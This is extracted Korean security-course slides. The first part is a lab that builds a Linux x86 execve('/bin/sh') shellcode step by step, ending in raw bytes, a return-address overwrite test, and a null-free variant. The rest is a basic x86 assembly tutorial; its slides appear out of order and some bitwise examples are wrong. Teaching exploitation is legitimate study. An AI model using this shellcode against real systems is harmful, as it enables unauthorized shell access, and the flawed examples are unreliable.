(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 20: 80×86  시스템에 대한 이해

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

